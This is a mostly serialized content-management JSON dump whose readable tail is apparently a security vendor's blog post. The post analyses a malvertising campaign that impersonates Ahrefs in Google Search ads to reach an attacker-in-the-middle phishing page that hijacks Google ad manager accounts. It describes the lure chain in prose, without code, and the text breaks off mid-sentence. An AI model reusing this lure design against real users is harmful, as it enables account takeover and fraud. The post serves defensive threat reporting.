8926],{"data":88923,"marks":88924,"value":74614,"nodeType":865},{},[88925],{"type":961},{"data":88927,"marks":88928,"value":74618,"nodeType":865},{},[],{"data":88930,"content":88931,"nodeType":1003},{},[88932],{"data":88933,"content":88934,"nodeType":866},{},[88935,88939],{"data":88936,"marks":88937,"value":74629,"nodeType":865},{},[88938],{"type":961},{"data":88940,"marks":88941,"value":74633,"nodeType":865},{},[],{"data":88943,"content":88944,"nodeType":866},{},[88945],{"data":88946,"marks":88947,"value":74640,"nodeType":865},{},[],{"data":88949,"content":88950,"nodeType":953},{},[],{"data":88952,"content":88953,"nodeType":963},{},[88954],{"data":88955,"marks":88956,"value":74651,"nodeType":865},{},[88957],{"type":961},{"data":88959,"content":88960,"nodeType":866},{},[88961],{"data":88962,"marks":88963,"value":74658,"nodeType":865},{},[],{"data":88965,"content":88966,"nodeType":866},{},[88967],{"data":88968,"marks":88969,"value":74665,"nodeType":865},{},[],{"data":88971,"content":88974,"nodeType":925},{"target":88972},{"sys":88973},{"id":74670,"type":922,"linkType":923},[],{"data":88976,"content":88977,"nodeType":953},{},[],{"data":88979,"content":88980,"nodeType":963},{},[88981],{"data":88982,"marks":88983,"value":3604,"nodeType":865},{},[88984],{"type":961},{"data":88986,"content":88987,"nodeType":866},{},[88988],{"data":88989,"marks":88990,"value":74688,"nodeType":865},{},[],{"data":88992,"content":88993,"nodeType":866},{},[88994],{"data":88995,"marks":88996,"value":74695,"nodeType":865},{},[],{"data":88998,"content":88999,"nodeType":866},{},[89000],{"data":89001,"marks":89002,"value":74702,"nodeType":865},{},[],{"data":89004,"content":89005,"nodeType":866},{},[89006,89009,89016,89019,89026],{"data":89007,"marks":89008,"value":32401,"nodeType":865},{},[],{"data":89010,"content":89011,"nodeType":882},{"uri":22700},[89012],{"data":89013,"marks":89014,"value":22706,"nodeType":865},{},[89015],{"type":997},{"data":89017,"marks":89018,"value":71034,"nodeType":865},{},[],{"data":89020,"content":89021,"nodeType":882},{"uri":1728},[89022],{"data":89023,"marks":89024,"value":22730,"nodeType":865},{},[89025],{"type":997},{"data":89027,"marks":89028,"value":1048,"nodeType":865},{},[],{"items":89030},[89031,89033],{"sys":89032,"name":11426},{"id":11425},{"sys":89034,"name":342},{"id":8410},{"items":89036},[89037],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":89038},{"url":11434},{"__typename":1788,"sys":89040,"content":89041,"title":23191,"synopsis":23192,"hashTags":59,"publishedDate":23193,"slug":23194,"tagsCollection":89928,"authorsCollection":89934},{"id":15362},{"json":89042},{"data":89043,"content":89044,"nodeType":1739},{},[89045,89050,89056,89062,89069,89082,89087,89090,89097,89103,89109,89115,89121,89127,89133,89139,89145,89150,89155,89161,89166,89172,89178,89183,89188,89193,89198,89214,89224,89230,89235,89241,89247,89277,89283,89290,89296,89301,89307,89312,89318,89334,89340,89343,89350,89356,89439,89445,89450,89453,89460,89466,89472,89478,89514,89517,89524,89540,89546,89553,89745,89752,89782,89789,89796,89802,89809,89815,89822,89832,89839,89845,89852,89862,89869,89876,89883,89890,89897,89904,89914,89921],{"data":89046,"content":89049,"nodeType":925},{"target":89047},{"sys":89048},{"id":22194,"type":922,"linkType":923},[],{"data":89051,"content":89052,"nodeType":866},{},[89053],{"data":89054,"marks":89055,"value":22202,"nodeType":865},{},[],{"data":89057,"content":89058,"nodeType":866},{},[89059],{"data":89060,"marks":89061,"value":22209,"nodeType":865},{},[],{"data":89063,"content":89064,"nodeType":866},{},[89065],{"data":89066,"marks":89067,"value":22217,"nodeType":865},{},[89068],{"type":961},{"data":89070,"content":89071,"nodeType":866},{},[89072,89075,89079],{"data":89073,"marks":89074,"value":22224,"nodeType":865},{},[],{"data":89076,"marks":89077,"value":19228,"nodeType":865},{},[89078],{"type":961},{"data":89080,"marks":89081,"value":22232,"nodeType":865},{},[],{"data":89083,"content":89086,"nodeType":925},{"target":89084},{"sys":89085},{"id":22237,"type":922,"linkType":923},[],{"data":89088,"content":89089,"nodeType":953},{},[],{"data":89091,"content":89092,"nodeType":963},{},[89093],{"data":89094,"marks":89095,"value":22249,"nodeType":865},{},[89096],{"type":961},{"data":89098,"content":89099,"nodeType":866},{},[89100],{"data":89101,"marks":89102,"value":22256,"nodeType":865},{},[],{"data":89104,"content":89105,"nodeType":866},{},[89106],{"data":89107,"marks":89108,"value":22263,"nodeType":865},{},[],{"data":89110,"content":89111,"nodeType":1458},{},[89112],{"data":89113,"marks":89114,"value":22270,"nodeType":865},{},[],{"data":89116,"content":89117,"nodeType":866},{},[89118],{"data":89119,"marks":89120,"value":22277,"nodeType":865},{},[],{"data":89122,"content":89123,"nodeType":866},{},[89124],{"data":89125,"marks":89126,"value":22284,"nodeType":865},{},[],{"data":89128,"content":89129,"nodeType":866},{},[89130],{"data":89131,"marks":89132,"value":22291,"nodeType":865},{},[],{"data":89134,"content":89135,"nodeType":866},{},[89136],{"data":89137,"marks":89138,"value":22298,"nodeType":865},{},[],{"data":89140,"content":89141,"nodeType":866},{},[89142],{"data":89143,"marks":89144,"value":22305,"nodeType":865},{},[],{"data":89146,"content":89149,"nodeType":925},{"target":89147},{"sys":89148},{"id":22310,"type":922,"linkType":923},[],{"data":89151,"content":89154,"nodeType":925},{"target":89152},{"sys":89153},{"id":22316,"type":922,"linkType":923},[],{"data":89156,"content":89157,"nodeType":866},{},[89158],{"data":89159,"marks":89160,"value":22324,"nodeType":865},{},[],{"data":89162,"content":89165,"nodeType":925},{"target":89163},{"sys":89164},{"id":22329,"type":922,"linkType":923},[],{"data":89167,"content":89168,"nodeType":1458},{},[89169],{"data":89170,"marks":89171,"value":22337,"nodeType":865},{},[],{"data":89173,"content":89174,"nodeType":866},{},[89175],{"data":89176,"marks":89177,"value":22344,"nodeType":865},{},[],{"data":89179,"content":89182,"nodeType":925},{"target":89180},{"sys":89181},{"id":22349,"type":922,"linkType":923},[],{"data":89184,"content":89187,"nodeType":925},{"target":89185},{"sys":89186},{"id":22355,"type":922,"linkType":923},[],{"data":89189,"content":89192,"nodeType":925},{"target":89190},{"sys":89191},{"id":22361,"type":922,"linkType":923},[],{"data":89194,"content":89197,"nodeType":925},{"target":89195},{"sys":89196},{"id":22367,"type":922,"linkType":923},[],{"data":89199,"content":89200,"nodeType":866},{},[89201,89204,89211],{"data":89202,"marks":89203,"value":22375,"nodeType":865},{},[],{"data":89205,"content":89206,"nodeType":882},{"uri":3122},[89207],{"data":89208,"marks":89209,"value":22383,"nodeType":865},{},[89210],{"type":997},{"data":89212,"marks":89213,"value":22387,"nodeType":865},{},[],{"data":89215,"content":89216,"nodeType":866},{},[89217,89221],{"data":89218,"marks":89219,"value":22395,"nodeType":865},{},[89220],{"type":961},{"data":89222,"marks":89223,"value":22399,"nodeType":865},{},[],{"data":89225,"content":89226,"nodeType":866},{},[89227],{"data":89228,"marks":89229,"value":22406,"nodeType":865},{},[],{"data":89231,"content":89234,"nodeType":925},{"target":89232},{"sys":89233},{"id":22411,"type":922,"linkType":923},[],{"data":89236,"content":89237,"nodeType":1458},{},[89238],{"data":89239,"marks":89240,"value":22419,"nodeType":865},{},[],{"data":89242,"content":89243,"nodeType":866},{},[89244],{"data":89245,"marks":89246,"value":22426,"nodeType":865},{},[],{"data":89248,"content":89249,"nodeType":1049},{},[89250,89259,89268],{"data":89251,"content":89252,"nodeType":1003},{},[89253],{"data":89254,"content":89255,"nodeType":866},{},[89256],{"data":89257,"marks":89258,"value":22439,"nodeType":865},{},[],{"data":89260,"content":89261,"nodeType":1003},{},[89262],{"data":89263,"content":89264,"nodeType":866},{},[89265],{"data":89266,"marks":89267,"value":22449,"nodeType":865},{},[],{"data":89269,"content":89270,"nodeType":1003},{},[89271],{"data":89272,"content":89273,"nodeType":866},{},[89274],{"data":89275,"marks":89276,"value":22459,"nodeType":865},{},[],{"data":89278,"content":89279,"nodeType":866},{},[89280],{"data":89281,"marks":89282,"value":22466,"nodeType":865},{},[],{"data":89284,"content":89285,"nodeType":866},{},[89286],{"data":89287,"marks":89288,"value":22474,"nodeType":865},{},[89289],{"type":961},{"data":89291,"content":89292,"nodeType":866},{},[89293],{"data":89294,"marks":89295,"value":22481,"nodeType":865},{},[],{"data":89297,"content":89300,"nodeType":925},{"target":89298},{"sys":89299},{"id":22486,"type":922,"linkType":923},[],{"data":89302,"content":89303,"nodeType":866},{},[89304],{"data":89305,"marks":89306,"value":22494,"nodeType":865},{},[],{"data":89308,"content":89311,"nodeType":925},{"target":89309},{"sys":89310},{"id":22499,"type":922,"linkType":923},[],{"data":89313,"content":89314,"nodeType":1458},{},[89315],{"data":89316,"marks":89317,"value":22507,"nodeType":865},{},[],{"data":89319,"content":89320,"nodeType":866},{},[89321,89324,89331],{"data":89322,"marks":89323,"value":22514,"nodeType":865},{},[],{"data":89325,"content":89326,"nodeType":882},{"uri":13634},[89327],{"data":89328,"marks":89329,"value":13639,"nodeType":865},{},[89330],{"type":997},{"data":89332,"marks":89333,"value":22525,"nodeType":865},{},[],{"data":89335,"content":89336,"nodeType":866},{},[89337],{"data":89338,"marks":89339,"value":22532,"nodeType":865},{},[],{"data":89341,"content":89342,"nodeType":953},{},[],{"data":89344,"content":89345,"nodeType":963},{},[89346],{"data":89347,"marks":89348,"value":22543,"nodeType":865},{},[89349],{"type":961},{"data":89351,"content":89352,"nodeType":866},{},[89353],{"data":89354,"marks":89355,"value":22550,"nodeType":865},{},[],{"data":89357,"content":89358,"nodeType":1049},{},[89359,89379,89399,89419],{"data":89360,"content":89361,"nodeType":1003},{},[89362],{"data":89363,"content":89364,"nodeType":866},{},[89365,89368,89376],{"data":89366,"marks":89367,"value":21,"nodeType":865},{},[],{"data":89369,"content":89370,"nodeType":882},{"uri":22565},[89371],{"data":89372,"marks":89373,"value":22572,"nodeType":865},{},[89374,89375],{"type":997},{"type":961},{"data":89377,"marks":89378,"value":22576,"nodeType":865},{},[],{"data":89380,"content":89381,"nodeType":1003},{},[89382],{"data":89383,"content":89384,"nodeType":866},{},[89385,89388,89396],{"data":89386,"marks":89387,"value":21,"nodeType":865},{},[],{"data":89389,"content":89390,"nodeType":882},{"uri":22588},[89391],{"data":89392,"marks":89393,"value":22595,"nodeType":865},{},[89394,89395],{"type":997},{"type":961},{"data":89397,"marks":89398,"value":22599,"nodeType":865},{},[],{"data":89400,"content":89401,"nodeType":1003},{},[89402],{"data":89403,"content":89404,"nodeType":866},{},[89405,89408,89416],{"data":89406,"marks":89407,"value":21,"nodeType":865},{},[],{"data":89409,"content":89410,"nodeType":882},{"uri":22611},[89411],{"data":89412,"marks":89413,"value":22618,"nodeType":865},{},[89414,89415],{"type":997},{"type":961},{"data":89417,"marks":89418,"value":22622,"nodeType":865},{},[],{"data":89420,"content":89421,"nodeType":1003},{},[89422],{"data":89423,"content":89424,"nodeType":866},{},[89425,89428,89436],{"data":89426,"marks":89427,"value":21,"nodeType":865},{},[],{"data":89429,"content":89430,"nodeType":882},{"uri":22634},[89431],{"data":89432,"marks":89433,"value":22641,"nodeType":865},{},[89434,89435],{"type":997},{"type":961},{"data":89437,"marks":89438,"value":22645,"nodeType":865},{},[],{"data":89440,"content":89441,"nodeType":866},{},[89442],{"data":89443,"marks":89444,"value":22652,"nodeType":865},{},[],{"data":89446,"content":89449,"nodeType":925},{"target":89447},{"sys":89448},{"id":22657,"type":922,"linkType":923},[],{"data":89451,"content":89452,"nodeType":953},{},[],{"data":89454,"content":89455,"nodeType":1458},{},[89456],{"data":89457,"marks":89458,"value":22669,"nodeType":865},{},[89459],{"type":961},{"data":89461,"content":89462,"nodeType":866},{},[89463],{"data":89464,"marks":89465,"value":22676,"nodeType":865},{},[],{"data":89467,"content":89468,"nodeType":866},{},[89469],{"data":89470,"marks":89471,"value":22683,"nodeType":865},{},[],{"data":89473,"content":89474,"nodeType":866},{},[89475],{"data":89476,"marks":89477,"value":22690,"nodeType":865},{},[],{"data":89479,"content":89480,"nodeType":866},{},[89481,89484,89491,89494,89501,89504,89511],{"data":89482,"marks":89483,"value":22697,"nodeType":865},{},[],{"data":89485,"content":89486,"nodeType":882},{"uri":22700},[89487],{"data":89488,"marks":89489,"value":22706,"nodeType":865},{},[89490],{"type":997},{"data":89492,"marks":89493,"value":2186,"nodeType":865},{},[],{"data":89495,"content":89496,"nodeType":882},{"uri":22712},[89497],{"data":89498,"marks":89499,"value":22718,"nodeType":865},{},[89500],{"type":997},{"data":89502,"marks":89503,"value":22722,"nodeType":865},{},[],{"data":89505,"content":89506,"nodeType":882},{"uri":1728},[89507],{"data":89508,"marks":89509,"value":22730,"nodeType":865},{},[89510],{"type":997},{"data":89512,"marks":89513,"value":1048,"nodeType":865},{},[],{"data":89515,"content":89516,"nodeType":953},{},[],{"data":89518,"content":89519,"nodeType":963},{},[89520],{"data":89521,"marks":89522,"value":22744,"nodeType":865},{},[89523],{"type":961},{"data":89525,"content":89526,"nodeType":866},{},[89527,89530,89537],{"data":89528,"marks":89529,"value":13754,"nodeType":865},{},[],{"data":89531,"content":89532,"nodeType":882},{"uri":13757},[89533],{"data":89534,"marks":89535,"value":13762,"nodeType":865},{},[89536],{"type":997},{"data":89538,"marks":89539,"value":13766,"nodeType":865},{},[],{"data":89541,"content":89542,"nodeType":866},{},[89543],{"data":89544,"marks":89545,"value":22767,"nodeType":865},{},[],{"data":89547,"content":89548,"nodeType":866},{},[89549],{"data":89550,"marks":89551,"value":22775,"nodeType":865},{},[89552],{"type":961},{"data":89554,"content":89555,"nodeType":1049},{},[89556,89565,89574,89583,89592,89601,89610,89619,89628,89637,89646,89655,89664,89673,89682,89691,89700,89709,89718,89727,89736],{"data":89557,"content":89558,"nodeType":1003},{},[89559],{"data":89560,"content":89561,"nodeType":866},{},[89562],{"data":89563,"marks":89564,"value":22788,"nodeType":865},{},[],{"data":89566,"content":89567,"nodeType":1003},{},[89568],{"data":89569,"content":89570,"nodeType":866},{},[89571],{"data":89572,"marks":89573,"value":22798,"nodeType":865},{},[],{"data":89575,"content":89576,"nodeType":1003},{},[89577],{"data":89578,"content":89579,"nodeType":866},{},[89580],{"data":89581,"marks":89582,"value":22808,"nodeType":865},{},[],{"data":89584,"content":89585,"nodeType":1003},{},[89586],{"data":89587,"content":89588,"nodeType":866},{},[89589],{"data":89590,"marks":89591,"value":22818,"nodeType":865},{},[],{"data":89593,"content":89594,"nodeType":1003},{},[89595],{"data":89596,"content":89597,"nodeType":866},{},[89598],{"data":89599,"marks":89600,"value":22828,"nodeType":865},{},[],{"data":89602,"content":89603,"nodeType":1003},{},[89604],{"data":89605,"content":89606,"nodeType":866},{},[89607],{"data":89608,"marks":89609,"value":22818,"nodeType":865},{},[],{"data":89611,"content":89612,"nodeType":1003},{},[89613],{"data":89614,"content":89615,"nodeType":866},{},[89616],{"data":89617,"marks":89618,"value":22847,"nodeType":865},{},[],{"data":89620,"content":89621,"nodeType":1003},{},[89622],{"data":89623,"content":89624,"nodeType":866},{},[89625],{"data":89626,"marks":89627,"value":22857,"nodeType":865},{},[],{"data":89629,"content":89630,"nodeType":1003},{},[89631],{"data":89632,"content":89633,"nodeType":866},{},[89634],{"data":89635,"marks":89636,"value":22798,"nodeType":865},{},[],{"data":89638,"content":89639,"nodeType":1003},{},[89640],{"data":89641,"content":89642,"nodeType":866},{},[89643],{"data":89644,"marks":89645,"value":22876,"nodeType":865},{},[],{"data":89647,"content":89648,"nodeType":1003},{},[89649],{"data":89650,"content":89651,"nodeType":866},{},[89652],{"data":89653,"marks":89654,"value":22886,"nodeType":865},{},[],{"data":89656,"content":89657,"nodeType":1003},{},[89658],{"data":89659,"content":89660,"nodeType":866},{},[89661],{"data":89662,"marks":89663,"value":22896,"nodeType":865},{},[],{"data":89665,"content":89666,"nodeType":1003},{},[89667],{"data":89668,"content":89669,"nodeType":866},{},[89670],{"data":89671,"marks":89672,"value":22906,"nodeType":865},{},[],{"data":89674,"content":89675,"nodeType":1003},{},[89676],{"data":89677,"content":89678,"nodeType":866},{},[89679],{"data":89680,"marks":89681,"value":22916,"nodeType":865},{},[],{"data":89683,"content":89684,"nodeType":1003},{},[89685],{"data":89686,"content":89687,"nodeType":866},{},[89688],{"data":89689,"marks":89690,"value":22926,"nodeType":865},{},[],{"data":89692,"content":89693,"nodeType":1003},{},[89694],{"data":89695,"content":89696,"nodeType":866},{},[89697],{"data":89698,"marks":89699,"value":22936,"nodeType":865},{},[],{"data":89701,"content":89702,"nodeType":1003},{},[89703],{"data":89704,"content":89705,"nodeType":866},{},[89706],{"data":89707,"marks":89708,"value":22857,"nodeType":865},{},[],{"data":89710,"content":89711,"nodeType":1003},{},[89712],{"data":89713,"content":89714,"nodeType":866},{},[89715],{"data":89716,"marks":89717,"value":22955,"nodeType":865},{},[],{"data":89719,"content":89720,"nodeType":1003},{},[89721],{"data":89722,"content":89723,"nodeType":866},{},[89724],{"data":89725,"marks":89726,"value":22965,"nodeType":865},{},[],{"data":89728,"content":89729,"nodeType":1003},{},[89730],{"data":89731,"content":89732,"nodeType":866},{},[89733],{"data":89734,"marks":89735,"value":22975,"nodeType":865},{},[],{"data":89737,"content":89738,"nodeType":1003},{},[89739],{"data":89740,"content":89741,"nodeType":866},{},[89742],{"data":89743,"marks":89744,"value":22985,"nodeType":865},{},[],{"data":89746,"content":89747,"nodeType":866},{},[89748],{"data":89749,"marks":89750,"value":22993,"nodeType":865},{},[89751],{"type":961},{"data":89753,"content":89754,"nodeType":1049},{},[89755,89764,89773],{"data":89756,"content":89757,"nodeType":1003},{},[89758],{"data":89759,"content":89760,"nodeType":866},{},[89761],{"data":89762,"marks":89763,"value":23006,"nodeType":865},{},[],{"data":89765,"content":89766,"nodeType":1003},{},[89767],{"data":89768,"content":89769,"nodeType":866},{},[89770],{"data":89771,"marks":89772,"value":23016,"nodeType":865},{},[],{"data":89774,"content":89775,"nodeType":1003},{},[89776],{"data":89777,"content":89778,"nodeType":866},{},[89779],{"data":89780,"marks":89781,"value":23026,"nodeType":865},{},[],{"data":89783,"content":89784,"nodeType":866},{},[89785],{"data":89786,"marks":89787,"value":23034,"nodeType":865},{},[89788],{"type":961},{"data":89790,"content":89791,"nodeType":866},{},[89792],{"data":89793,"marks":89794,"value":23043,"nodeType":865},{},[89795],{"type":23042},{"data":89797,"content":89798,"nodeType":866},{},[89799],{"data":89800,"marks":89801,"value":21,"nodeType":865},{},[],{"data":89803,"content":89804,"nodeType":866},{},[89805],{"data":89806,"marks":89807,"value":23057,"nodeType":865},{},[89808],{"type":23042},{"data":89810,"content":89811,"nodeType":866},{},[89812],{"data":89813,"marks":89814,"value":23064,"nodeType":865},{},[],{"data":89816,"content":89817,"nodeType":866},{},[89818],{"data":89819,"marks":89820,"value":23072,"nodeType":865},{},[89821],{"type":23042},{"data":89823,"content":89824,"nodeType":866},{},[89825,89828],{"data":89826,"marks":89827,"value":23064,"nodeType":865},{},[],{"data":89829,"marks":89830,"value":23083,"nodeType":865},{},[89831],{"type":961},{"data":89833,"content":89834,"nodeType":866},{},[89835],{"data":89836,"marks":89837,"value":23091,"nodeType":865},{},[89838],{"type":23042},{"data":89840,"content":89841,"nodeType":866},{},[89842],{"data":89843,"marks":89844,"value":21,"nodeType":865},{},[],{"data":89846,"content":89847,"nodeType":866},{},[89848],{"data":89849,"marks":89850,"value":23105,"nodeType":865},{},[89851],{"type":23042},{"data":89853,"content":89854,"nodeType":866},{},[89855,89858],{"data":89856,"marks":89857,"value":23064,"nodeType":865},{},[],{"data":89859,"marks":89860,"value":23116,"nodeType":865},{},[89861],{"type":961},{"data":89863,"content":89864,"nodeType":866},{},[89865],{"data":89866,"marks":89867,"value":23124,"nodeType":865},{},[89868],{"type":23042},{"data":89870,"content":89871,"nodeType":866},{},[89872],{"data":89873,"marks":89874,"value":23132,"nodeType":865},{},[89875],{"type":23042},{"data":89877,"content":89878,"nodeType":866},{},[89879],{"data":89880,"marks":89881,"value":23140,"nodeType":865},{},[89882],{"type":23042},{"data":89884,"content":89885,"nodeType":866},{},[89886],{"data":89887,"marks":89888,"value":23148,"nodeType":865},{},[89889],{"type":23042},{"data":89891,"content":89892,"nodeType":866},{},[89893],{"data":89894,"marks":89895,"value":23156,"nodeType":865},{},[89896],{"type":23042},{"data":89898,"content":89899,"nodeType":866},{},[89900],{"data":89901,"marks":89902,"value":23164,"nodeType":865},{},[89903],{"type":23042},{"data":89905,"content":89906,"nodeType":866},{},[89907,89910],{"data":89908,"marks":89909,"value":23064,"nodeType":865},{},[],{"data":89911,"marks":89912,"value":23175,"nodeType":865},{},[89913],{"type":961},{"data":89915,"content":89916,"nodeType":866},{},[89917],{"data":89918,"marks":89919,"value":23124,"nodeType":865},{},[89920],{"type":23042},{"data":89922,"content":89923,"nodeType":866},{},[89924],{"data":89925,"marks":89926,"value":23190,"nodeType":865},{},[89927],{"type":23042},{"items":89929},[89930,89932],{"sys":89931,"name":11426},{"id":11425},{"sys":89933,"name":342},{"id":8410},{"items":89935},[89936],{"fullName":23204,"firstName":23205,"jobTitle":23206,"profilePicture":89937},{"url":23208},{"__typename":1788,"sys":89939,"content":89940,"title":60308,"synopsis":90537,"hashTags":59,"publishedDate":90538,"slug":60309,"tagsCollection":90539,"authorsCollection":90545},{"id":15536},{"json":89941},{"data":89942,"content":89943,"nodeType":1739},{},[89944,89951,89958,90007,90013,90020,90027,90033,90039,90045,90048,90056,90063,90069,90076,90082,90088,90095,90101,90118,90121,90129,90136,90143,90150,90157,90163,90181,90184,90192,90199,90253,90260,90267,90270,90277,90284,90291,90298,90324,90327,90334,90350,90357,90400,90407,90450,90457,90530],{"data":89945,"content":89946,"nodeType":866},{},[89947],{"data":89948,"marks":89949,"value":89950,"nodeType":865},{},[],"In recent months, we’ve seen a significant increase in the number of attacks targeting ad manager accounts. These attacks ultimately serve up an Attacker-in-the-Middle (AITM) phishing page designed to steal the victim’s Google account. ",{"data":89952,"content":89953,"nodeType":866},{},[89954],{"data":89955,"marks":89956,"value":89957,"nodeType":865},{},[],"Most recently, we reported on:",{"data":89959,"content":89960,"nodeType":1049},{},[89961,89984],{"data":89962,"content":89963,"nodeType":1003},{},[89964],{"data":89965,"content":89966,"nodeType":866},{},[89967,89971,89980],{"data":89968,"marks":89969,"value":89970,"nodeType":865},{},[],"A campaign running ",{"data":89972,"content":89974,"nodeType":882},{"uri":89973},"https://pushsecurity.com/blog/analysing-a-malvertising-attack-targeting-business-google-accounts/",[89975],{"data":89976,"marks":89977,"value":89979,"nodeType":865},{},[89978],{"type":997},"fake malvertising ads for “Google Ads”",{"data":89981,"marks":89982,"value":89983,"nodeType":865},{},[]," in Google Search. ",{"data":89985,"content":89986,"nodeType":1003},{},[89987],{"data":89988,"content":89989,"nodeType":866},{},[89990,89994,90003],{"data":89991,"marks":89992,"value":89993,"nodeType":865},{},[],"A campaign using sophisticated ",{"data":89995,"content":89997,"nodeType":882},{"uri":89996},"https://pushsecurity.com/blog/uncovering-a-calendly-themed-phishing-campaign/",[89998],{"data":89999,"marks":90000,"value":90002,"nodeType":865},{},[90001],{"type":997},"Calendly-themed phishing lures",{"data":90004,"marks":90005,"value":90006,"nodeType":865},{},[]," targeting marketing professionals.",{"data":90008,"content":90012,"nodeType":925},{"target":90009},{"sys":90010},{"id":90011,"type":922,"linkType":923},"1ThnhFZQIhzV179qclvzFH",[],{"data":90014,"content":90015,"nodeType":866},{},[90016],{"data":90017,"marks":90018,"value":90019,"nodeType":865},{},[],"Now, we’ve seen the Google Ads malvertising campaign expand to run additional ads impersonating Ahrefs, an AI marketing platform. Crucially, employees with access to Ahrefs are highly likely to also have access to Google Ads, meaning that attackers can reliably target Google accounts via Ahrefs. ",{"data":90021,"content":90022,"nodeType":866},{},[90023],{"data":90024,"marks":90025,"value":90026,"nodeType":865},{},[],"You can see a demo of the phishing chain below. ",{"data":90028,"content":90032,"nodeType":925},{"target":90029},{"sys":90030},{"id":90031,"type":922,"linkType":923},"2XjyySGldgl9uPA7CZRms8",[],{"data":90034,"content":90038,"nodeType":925},{"target":90035},{"sys":90036},{"id":90037,"type":922,"linkType":923},"yB12nGF91iq15GoHWItaX",[],{"data":90040,"content":90044,"nodeType":925},{"target":90041},{"sys":90042},{"id":90043,"type":922,"linkType":923},"2NK29DaTd93kOctyWxV0RT",[],{"data":90046,"content":90047,"nodeType":953},{},[],{"data":90049,"content":90050,"nodeType":963},{},[90051],{"data":90052,"marks":90053,"value":90055,"nodeType":865},{},[90054],{"type":961},"Attack breakdown",{"data":90057,"content":90058,"nodeType":866},{},[90059],{"data":90060,"marks":90061,"value":90062,"nodeType":865},{},[],"Users searching for “ahrefs” on Google Search were served with a fake ad impersonating Ahrefs, hosted on Squarespace, a legitimate website building and hosting platform. Previously, we’d seen this campaign use hosting sites Odoo and Kartra to similar effect. ",{"data":90064,"content":90068,"nodeType":925},{"target":90065},{"sys":90066},{"id":90067,"type":922,"linkType":923},"59dhFey5rahm5sA20NudTl",[],{"data":90070,"content":90071,"nodeType":866},{},[90072],{"data":90073,"marks":90074,"value":90075,"nodeType":865},{},[],"Upon clicking the link, the victim was taken to a clone of the real Ahrefs site. Crucially, you can see that the domain is not the official Ahrefs domain. ",{"data":90077,"content":90081,"nodeType":925},{"target":90078},{"sys":90079},{"id":90080,"type":922,"linkType":923},"48fQUiJXC1qACKUUPDliS5",[],{"data":90083,"content":90087,"nodeType":925},{"target":90084},{"sys":90085},{"id":90086,"type":922,"linkType":923},"77iqOW1jDVt5Oxw8qTwnKG",[],{"data":90089,"content":90090,"nodeType":866},{},[90091],{"data":90092,"marks":90093,"value":90094,"nodeType":865},{},[],"However, the site is not fully interactable beyond the front page. Clicking on any link takes the user to a Google sign-in page. ",{"data":90096,"content":90100,"nodeType":925},{"target":90097},{"sys":90098},{"id":90099,"type":922,"linkType":923},"7t9BoUyIFN8dlBDksjsYlD",[],{"data":90102,"content":90103,"nodeType":866},{},[90104,90108,90115],{"data":90105,"marks":90106,"value":90107,"nodeType":865},{},[],"This is in fact an AITM phishing page that is designed to hijack the victim’s Google account. Entering credentials and completing the MFA check will result in the attacker stealing the app session and effectively taking over the account. The phishing kit used matches ",{"data":90109,"content":90110,"nodeType":882},{"uri":89973},[90111],{"data":90112,"marks":90113,"value":90114,"nodeType":865},{},[],"the previous malvertising detected impersonating Google Ads",{"data":90116,"marks":90117,"value":22525,"nodeType":865},{},[],{"data":90119,"content":90120,"nodeType":953},{},[],{"data":90122,"content":90123,"nodeType":963},{},[90124],{"data":90125,"marks":90126,"value":90128,"nodeType":865},{},[90127],{"type":961},"Why are attackers targeting ad manager accounts?",{"data":90130,"content":90131,"nodeType":866},{},[90132],{"data":90133,"marks":90134,"value":90135,"nodeType":865},{},[],"Ad Manager accounts on platforms like Google, Facebook, and LinkedIn have become lucrative targets for cybercriminals. By compromising these accounts, attackers can exploit the digital advertising ecosystem in various ways for financial gain. ",{"data":90137,"content":90138,"nodeType":866},{},[90139],{"data":90140,"marks":90141,"value":90142,"nodeType":865},{},[],"The ad industry’s scale makes it attractive to fraud. Estimates suggest digital ad fraud cost advertisers tens of billions, potentially nearing $100 billion or more, with projections reaching $172 billion by 2028.",{"data":90144,"content":90145,"nodeType":866},{},[90146],{"data":90147,"marks":90148,"value":90149,"nodeType":865},{},[],"A hijacked Google Ad Manager account gives attackers access to significant ad spend and account data which can be monetized illicitly. The tactics range from stealthy ad fraud to overt abuse like malicious ads or extortion schemes.",{"data":90151,"content":90152,"nodeType":866},{},[90153],{"data":90154,"marks":90155,"value":90156,"nodeType":865},{},[],"Pretty much every enterprise today advertises their services via Google ads — this makes attacks on these accounts pretty much a unanimous problem. Agencies managing numerous client accounts are put further at risk. For example, if an attacker can compromise an MCC account (used to manage several ad accounts) they get full access to the customer portfolio. ",{"data":90158,"content":90162,"nodeType":925},{"target":90159},{"sys":90160},{"id":90161,"type":922,"linkType":923},"1WPbstxHtdjnAKpF1rhCpW",[],{"data":90164,"content":90165,"nodeType":866},{},[90166,90170,90178],{"data":90167,"marks":90168,"value":90169,"nodeType":865},{},[],"Learn more about why attackers are targeting ad manager accounts ",{"data":90171,"content":90173,"nodeType":882},{"uri":90172},"https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis",[90174],{"data":90175,"marks":90176,"value":90177,"nodeType":865},{},[],"in our blog post",{"data":90179,"marks":90180,"value":22525,"nodeType":865},{},[],{"data":90182,"content":90183,"nodeType":953},{},[],{"data":90185,"content":90186,"nodeType":963},{},[90187],{"data":90188,"marks":90189,"value":90191,"nodeType":865},{},[90190],{"type":961},"Why malvertising? ",{"data":90193,"content":90194,"nodeType":866},{},[90195],{"data":90196,"marks":90197,"value":90198,"nodeType":865},{},[],"Malvertising scams happen across lots of different sites, but the most common platform we see targeted is Google Search. This takes advantage of users browsing to find a website and clicking the first link that appears — in this case a fake sponsored link taking you to the attacker’s page. ",{"data":90200,"content":90201,"nodeType":866},{},[90202,90206,90213,90217,90225,90228,90237,90240,90249],{"data":90203,"marks":90204,"value":90205,"nodeType":865},{},[],"Malvertising attacks delivered over channels like Google Search are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. Malvertising is an increasingly popular attack vector for the delivery of AITM phishing, malware downloads, and ",{"data":90207,"content":90208,"nodeType":882},{"uri":38372},[90209],{"data":90210,"marks":90211,"value":315,"nodeType":865},{},[90212],{"type":997},{"data":90214,"marks":90215,"value":90216,"nodeType":865},{},[]," (4 in 5 ClickFix attacks intercepted by Push were delivered via Google Search). This isn’t just targeting ad manager accounts — last year, we reported on campaigns impersonating 